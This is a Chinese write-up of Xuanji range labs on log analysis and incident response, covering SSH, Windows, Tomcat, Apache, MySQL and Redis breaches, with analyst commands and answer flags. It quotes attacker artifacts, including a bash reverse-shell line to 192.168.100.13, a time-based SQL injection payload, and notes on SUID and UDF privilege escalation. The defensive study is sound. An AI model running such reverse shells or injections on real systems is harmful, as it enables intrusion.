玄机靶场 WriteUP
日志分析
日志分析-ssh日志分析
环境:debian
可以登录 SSH 的账号数量是多少
2
ssh服务配置文件在/etc/ssh/sshd_config
所以在这里查询
grep
文本搜索工具
-E
:使用扩展正则表达式(Extended Regex),可以直接用 + | ()
这些符号。
grep -E "AllowUsers|AllowGroups|DenyUsers|DenyGroups" /etc/ssh/sshd_config
SSH日志中登录成功的日志条数是多少(去除自己登陆产生的两次)
103
zgrep
是grep
的一个升级版本,可以直接查询压缩内容,不必先解压
-h
:输出时不显示文件名,只显示匹配行内容。
wc
统计字符工具word count
-l
只输出行数
zgrep -hE 'sshd\[[0-9]+\]: Accepted (password|publickey|keyboard-interactive/pam|gssapi-with-mic)' /var/log/auth.log* | wc -l
↑面向debian的万能查询语句
SSH日志中登录成功次数最多的用户的用户名是什么
toor
awk
是 Linux/Unix 下一个非常强大的文本处理工具,主要用来对行和列进行筛选、切分、计算、统计、格式化输出
zgrep -hE 'sshd\[[0-9]+\]: Accepted' /var/log/auth.log* \
| awk '{for(i=1;i<=NF;i++){if($i=="for"){u=$(i+1);c[u]++}}} END{mx=0;u="";for(k in c){if(c[k]>mx){mx=c[k];u=k}};if(u!="")print u}'
↑更兼容的写法
将u替换成mx可以输出次数
SSH日志中登录失败次数最多的用户以及登录使用的ip是什么(flag:flag{用户名,ip})
root,87.163.111.11
面向ubuntu/debian
zgrep -hE 'sshd\[[0-9]+\]: (Failed password|Invalid user)' /var/log/auth.log* 2>/dev/null \
| awk '{
user=""; ip="";
for(i=1;i<=NF;i++){
if($i=="from" && i<NF){ ip=$(i+1) }
if($i=="for" && i<NF){
if($(i+1)=="invalid" && $(i+2)=="user" && (i+3)<=NF){ user=$(i+3) }
else { user=$(i+1) }
}
if($i=="user" && i>1 && $(i-1)=="Invalid" && i<NF){ user=$(i+1) } # 处理 "Invalid user xxx from ..."
}
if(user!="" && ip!=""){ key=user"@"ip; c[key]++ }
}
END{
mx=0; best="";
for(k in c){ if(c[k]>mx){ mx=c[k]; best=k } }
if(best!=""){ split(best,a,"@"); print a[1], a[2], mx }
}'
日志分析-windows日志分析base
客户机的系统安全日志文件所在的绝对路径是?
flag{C:\Windows\System32\winevt\Logs}
直接打开eventvwr.msc
事件管理器,windows日志文件右键安全找到属性即可
恶意用户是利用什么协议发起的登录?
flag{rdp}
windows常见的事件ID类型
4624 登录成功
4625 登录失败,如果有人尝试破解系统密码,可以看到大量连续登录失败信息
4726 删除用户
4722 账号启用
4725 账号禁用
4723 修改密码
4724 重置密码
4634 注销成功
4647 用户启动的注销
4672 管理员登录
4720 创建用户,使用系统漏洞攻击成功后,往往会创建一个用户,方便远程登录
4732 加入安全组,常见于将新用户加入管理员组
4733 移除出安全组
4684 通过登陆界面登陆的
登录类型 | 说明 | 典型协议/场景 |
---|---|---|
2 | 交互式登录(本地键盘或控制台) | 本地 |
3 | 网络登录(访问共享、SMB等) | SMB、HTTP(除明文) |
4 | 批处理(计划任务) | 本地/系统 |
5 | 服务账号 | 本地/系统 |
7 | 解锁(屏幕锁解锁) | 本地 |
8 | 网络明文(如HTTP Basic认证) | 明文HTTP、Advapi |
9 | 新凭证(RunAs带netonly参数等) | 本地与网络混合 |
10 | 远程交互登录(RDP等) | RDP(远程桌面协议) |
11 | 缓存交互(离线域登录) | 本地缓存 |
发现可疑的登录类型和未知ip
攻击者总共使用了几个账户名尝试登录?
flag{5}
继续分析剩下的失败信息
可以得到正在进行用户名爆破:
admin
,XJ
,XuanJi
,XiaoMa
,Administrator
攻击者总共使用了几个账户名尝试登录?
flag{4}
筛选4720
创建了两次hack,所以是4个
日志分析-Tomcat日志分析
Tomcat日志所在的绝对路径是?
C:\server\apache-tomcat-11.0.5\logs
攻击者对某网站进行了口令爆破。请你判断口令成功匹配的请求的响应码是?
302
查看loginCheck.jsp
爆破成功后会发返回302状态码
攻击者向admin.jsp的管理员留言板界面发送了恶意JS代码从而构成了存储型XSS。已知攻击者试图盗取管理员cookie,并将其发送至其本地服务器上。请你判断其服务器上用于盗取cookie而监听的端口是?
5000
去日志里找吧
找到攻击者ip 192.168.5.66
按照题目要求前往admin.jsp查看
发现js代码应该是在message.txt中,去看下
可以看到开放了5000端口用来偷cookie
攻击者利用执行系统命令的参数是?
flag{ip}
可以继续看日志文件,找到ip
攻击者通过某种手段遗留了后门文件,请你找到该文件并按需提交其文件中的flag
flag{youmadeit}
可以从日志中找到hello.jsp文件
得到base64,解密即可
应急响应
应急响应之公交车系统应急排查
分析环境内的中间件日志,找到第一个漏洞(黑客获取数据的漏洞),然后通过分析日志、流量,通过脚本解出黑客获取的用户密码数据,提交获取的前两个用户名,提交格式:flag{zhangsan-wangli}
flag{sunyue-chenhao}
按照应急响应思路,正向思维要排查:端口、进程、相关服务日志来确定
也可以使用逆向思维:找到问题点->相关进程->相关路径->命令有无被伪造->排查落地时间->寻找开放服务端口->排查日志有无可疑行为->排查时间段流量(如有)
先看端口
netstat -lntp
开放了SSH、MySQL、WEB
然后查看中间件日志access.log
cat -n access.log
发现日志行数太多,不好分析
awk '{print $6, $7}' access.log
可以再看看是哪个发起的请求
awk '{print $1,$6,$7}' access.log
可以看到大量的base64请求,然后是shell.php
文件请求
下载一下流量包和日志
scp -P 2223 root@xxxx:/xxxx ./
然后将流量包放入Zui分析
可以看到服务类协议有FTP和HTTP
count () by id.orig_h,status_code,uri|status_code==200 | sort -r count
// 可以理解为select id.orig_h,status_code,uri from result1.pcap where status_code==200
可以看到请求了一堆search.php
,漏洞位置大体上应该在这里
随便找一条分析下base64内容
可以看到是sql注入语句(时间盲注)
编写脚本分析日志提取获取的数据
提示词如下(github copilot + claude4.5):
我现在网站受到了攻击,初步判断受到了SQL注入且为时间盲注,证明如下{access.log}你来分析一下,然后通过响应内容的大小
帮助我写一个python脚本,首先你需要提取出search.php所有请求,提取出来之后,因为有些特殊字符被url编码了,你需要先进行解码
然后再对url解码后的内容进行base64解码会得到如下的时间盲注payload
' AND (SELECT 1649 FROM (SELECT(SLEEP(5)))GcaG) AND 'EADg'='EADg
你需要依次进行提取出acccess.log中延时成功的请求,然后给我将攻击者获取成功的数据库、表、字段、数据依次转换给我
你需要观察哪些响应延时成功了,然后再写脚本,记住请求顺序不能乱,最终输出结果以形似与sqlmap注入完毕后的表格样式给到我
黑客通过获取的用户名密码,利用密码复用技术,爆破了FTP服务,分析流量以后找到开放的FTP端口,并找到黑客登录成功后获取的私密文件,提交其文件中内容,提交格式:flag{xxx}
flag{INTERNAL_FTP_ADMIN_PASSWORD=FtpP@ssw0rd_For_Admin_Backup_2025}
因为ftp端口变了,所以默认分析成了tcp
筛选tcp端口21221,筛选ftp内容如successfully
tcp.port==2121&&tcp contains "successfully"
可以看到尝试下载sensitive_credentials.txt
可以得到内容
可恶的黑客找到了任意文件上传点,你需要分析日志和流量以及web开放的程序找到黑客上传的文件,提交木马使用的密码,提交格式:flag{password}
flag{woaiwojia}
回到web端口8090
可以看到还有一个shell1.php一直在被访问
看下流量内容
http.request.method==POST
可以看到木马代码
明显的看到这个密码是woaiwojia,既然有密码还有key,这就是默认的哥斯拉木马了
看一下shell1.php的内容
就是这个木马,没问题
删除黑客上传的木马并在/var/flag/1/flag查看flag值进行提交
flag{eb9785a18f0e69b935f22cea5b54bf19}
分析流量,黑客植入了一个web挖矿木马,这个木马现实情况下会在用户访问后消耗用户的资源进行挖矿(本环境已做无害化处理),提交黑客上传这个文件时的初始名称,提交格式:flag{xxx.xxx}
flag{map.php}
重点分析shell1.php
相关的流量
http.request.uri=="/uploads/shell1.php"
哥斯拉的第二强特征,看到图中初始后会进行GET请求,此处就是获取会话session的过程,以便于后续通信
使用CTF-NETA解密哥斯拉流量
可得知是map.php
分析流量并上机排查,黑客植入的网页挖矿木马所使用的矿池地址是什么,提交矿池地址(排查完毕后可以尝试删除它)提交格式:flag{xxxxxxx.xxxx.xxx:xxxx}
flag{gulf.moneroocean.stream:10128}
因为替换了index.php
所以首先看看这个
可以发现底下有一段混淆代码
逆向它,可以得到
gulf.moneroocean.stream:10128
清除掉混淆的web挖矿代码后在/var/flag/2/flag查看flag值并提交
flag{476652839e38111f8bad544a2ff1ac19}
直接删除即可,然后提交flag
第一章 应急响应- Linux入侵排查
web目录存在木马,请找到木马的密码提交
flag{1}
服务器疑似存在不死马,请找到不死马的密码提交
flag{hello}
看下前面发现的.shell.php
有没有持久化
那说明这个就是持久码,解md5提交即可
5d41402abc4b2a76b9719d911017c592
hello
不死马是通过哪个文件生成的,请提交文件名
flag{index.php}
上面已经知道了是index.php
黑客留下了木马文件,请找出黑客的服务器ip提交
flag{10.11.55.21}
发现一个shell(1).elf
云沙箱分析一下
10.11.55.21
黑客留下了木马文件,请找出黑客服务器开启的监端口提交
flag{3333}
第一章 应急响应-webshell查杀
黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
使用d盾扫描
查看下gz.php
后门,得到flag
黑客使用的什么工具的shell github地址的md5 flag{md5}
flag{39392de3218c333f794befef07ac9257}
看这个md5,直接判断为哥斯拉
黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
flag{39392de3218c333f794befef07ac9257}
/var/www/html/include/Db/.Mysqli.php
黑客免杀马完整路径 md5 flag{md5}
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
做了处理的只有top.php
/var/www/html/wap/top.php
第一章 应急响应-Linux日志分析
日志列表
日志文件 | 说明 |
---|---|
/var/log/cron | 记录了系统定时任务相关的日志 |
/var/log/cups | 记录打印信息的日志 |
/var/log/dmesg | 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
/var/log/mailog | 记录邮件信息 |
/var/log/message | 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 |
/var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 |
/var/log/lastlog | 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 |
/var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 |
/var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 |
/var/log/secure | 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中 |
/var/log/auth.log | 注明:这个有的Linux系统有,有的Linux系统没有,一般都是/var/log/secure文件来记录居多 |
有多少IP在爆破主机ssh的root帐号,如果有多个使用”,”分割
flag{192.168.200.2,192.168.200.31,192.168.200.32}
直接分析auth.log.1
cat /var/log/auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort -n | uniq -c
- sort -n是将ip进行排序,-n其实你加不加无所谓,反正你调试对了就行,我这个就是加-n就能从小到大排序
- uniq -c就是去重且打印重复次数
ssh爆破成功登陆的IP是多少,如果有多个使用”,”分割
flag{192.168.200.2}
cat /var/log/auth.log.1 | grep -a "Accept" | awk '{print $11}' |
sort -n | uniq -c
爆破用户名字典是什么?如果有多个使用”,”分割
flag{user,hello,root,test3,test2,test1}
cat /var/log/auth.log.1 | grep -a "Failed password"
然后有很多重复用户名,筛选一下
cat /var/log/auth.log.1 | grep -a "Failed password" | | awk '{print $11}' | uniq -c | sort -n
然后除去from再加上root
登陆成功的IP共爆破了多少次
flag{4}
黑客登陆主机后新建了一个后门用户,用户名是多少
flag{test2}
cat /var/log/auth.log.1 | grep -a "new user"
第一章日志分析-apache日志分析
Apache服务器主要生成两种类型的日志文件:访问日志(access.log)与错误日志(error.log):
访问日志(access.log)记录了所有对Web服务器的请求,包括客户端IP地址、请求时间、请求方式、请求资源、响应状态码、数据传输量等。
错误日志(error.log)记录了服务器在运行过程中遇到的错误和警告信息,包括启动和停止时的信息
同时,题目环境是Apache+Linux ,这样的环境下日志路径一般是以下三种:
/var/log/httpd/
/var/log/apache/
/var/log/apache2/
本环境是第三种情况。且log.1文件里有我们需要的信息
grep -a: 强制把文件当作文本文件处理,即使文件是二进制的(比如可执行文件、日志中混有二进制数据)
提交当天访问次数最多的IP,即黑客IP
flag{192.168.200.2}
直接查询
cat /var/log/apache2/access.log.1 | awk '{print $1}' |sort|uniq -c
6555 192.168.200.2
黑客使用的浏览器指纹是什么,提交指纹的md5
flag{2d6330f380f44ac20f3a02eed0958f66}
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
求md5即可
查看包含index.php页面被访问的次数,提交次数
flag{27}
grep -a "/index.php" access.log.1 | awk '{print $1
}' | sort | uniq -c
27 192.168.200.2
查看黑客IP访问了多少次,提交次数
flag{6555}
查看2023年8月03日8时这一个小时内有多少IP访问,提交次数
flag{5}
grep -a "03/Aug/2023:08" access.log.1 | awk '{prin
t $1}' | sort | uniq -c
第一章 日志分析-mysql应急响应
黑客第一次写入的shell flag{关键字符串}
flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}
在mysql日志文件下看到了error.log
发现写入操作,mysql有权限写入的地方不多,于是到/var/www/html/
下看看
ls -lat
sh.php
和adminer.php
是新创建的,看下内容
黑客反弹shell的ip flag{ip}
flag{192.168.100.13}
接着看下adminer.php
确认是一个后门程序,看下apache2/access.log
找一下这个1.sh
文件
查看内容
bash -i >&/dev/tcp/192.168.100.13/777 0>&1
黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
flag{b1818bde4e310f3d23f1005185b973e7}
查找mysql的plugin目录发现了udf.so
/usr/lib/mysql/plugin/udf.so
黑客获取的权限 flag{whoami后的值}
flag{mysql}
直接连接数据库看看
mysql
第二章 日志分析-redis应急响应
redis日志: /var/log/redis.log
通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
flag{192.168.100.20}
进行了主从复制操作
通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG提交;
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
可以发现上传了exp.so
文件
下载下来分析一下
先直接strings看下
通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;
flag{192.168.100.13}
继续分析log文件
发现192.168.100.13这个未知IP
检查计划任务crontab -l
后发现一致
通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交
flag{xj-test-user-wow-you-find-flag}
查看ssh密钥.ssh/authorized_keys
发现xj-test-user
搜索发现github用户,查看仓库没有找到flag
在仓库历史记录中tye下找到flag
通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;
flag{c195i2923381905517d818e313792d196}
查看最近变动的命令
ls -alt /bin/
发现ps大小和时间很可疑,读取发现flag
第三章 权限维持-linux权限维持-隐藏
黑客隐藏的隐藏的文件 完整路径md5
flag{109ccb5768c70638e24fb46ee7957e37}
查看.viminfo
文件
发现libprocesshider
是一个Linux 持久性访问工具,1.py
是生成的文件
所以这个1.py
就是隐藏文件
黑客隐藏的文件反弹shell的ip+端口 {ip:port}
flag{114.114.114.121:9999}
查看1.py
发现ip+端口
黑客提权所用的命令 完整路径的md5 flag{md5}
flag{7fd5884f493f4aaf96abee286ee04120}
查找系统中所有具有 SUID 权限位(Set User ID) 的可执行文件
find / -perm -u=s -type f 2>/dev/null
前往gtfobins查找
所以使用find提权
黑客尝试注入恶意代码的工具完整路径md5
flag{087c267368ece4fcf422ff733b51aed9}
查找所有隐藏文件,/sys可以基本不看
find / -name '.*'
发现可疑目录/opt/.cymothoa-1-beta
搜了一下是一个kali的tool,是后门程序
/opt/.cymothoa-1-beta/cymothoa
使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}
flag{/usr/bin/python3.4}
运行1.py
查看文件内部后发现默认不是/usr/bin/python
/usr/bin/python3.4
第五章 Windows 实战-evtx 文件分析
将黑客成功登录系统所使用的IP地址作为Flag值提交
flag{192.168.36.133}
筛选一下事件 ID 4624
黑客成功登录系统后修改了登录用户的用户名,将修改后的用户名作为Flag值提交
flag{Adnimistartro}
筛选一下事件 ID 4738
黑客成功登录系统后成功访问了一个关键位置的文件,将该文件名称(文件名称不包含后缀)作为Flag值提交
flag{SCHEMA}
筛选一下事件 ID4663
黑客成功登录系统后重启过几次数据库服务,将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交
flag{8820}
查找即可,我电脑一开始缺mysql没法解析
黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交
flag{3}
查看事件ID 1074
第七章 常见攻击事件分析–钓鱼邮件
请分析获取黑客发送钓鱼邮件时使用的IP,flag格式: flag{11.22.33.44}、
flag{121.204.224.15}
直接查看邮件文件
请分析获取黑客钓鱼邮件中使用的木马程序的控制端IP,flag格式:flag{11.22.33.44}
flag{107.16.111.57}
直接用沙箱看即可
黑客在被控服务器上创建了webshell,请分析获取webshell的文件名,请使用完整文件格式,flag格式:flag{/var/www/html/shell.php}
flag{/var/www/html/admin/ebak/ReData.php}
直接扫描即可
黑客在被控服务器上创建了内网代理隐蔽通信隧道,请分析获取该隧道程序的文件名,请使用完整文件路径,flag格式:flag{/opt/apache2/shell}
flag{/var/tmp/proc/mysql}
一共就两个文件,那我们分析下
显然是另一个文件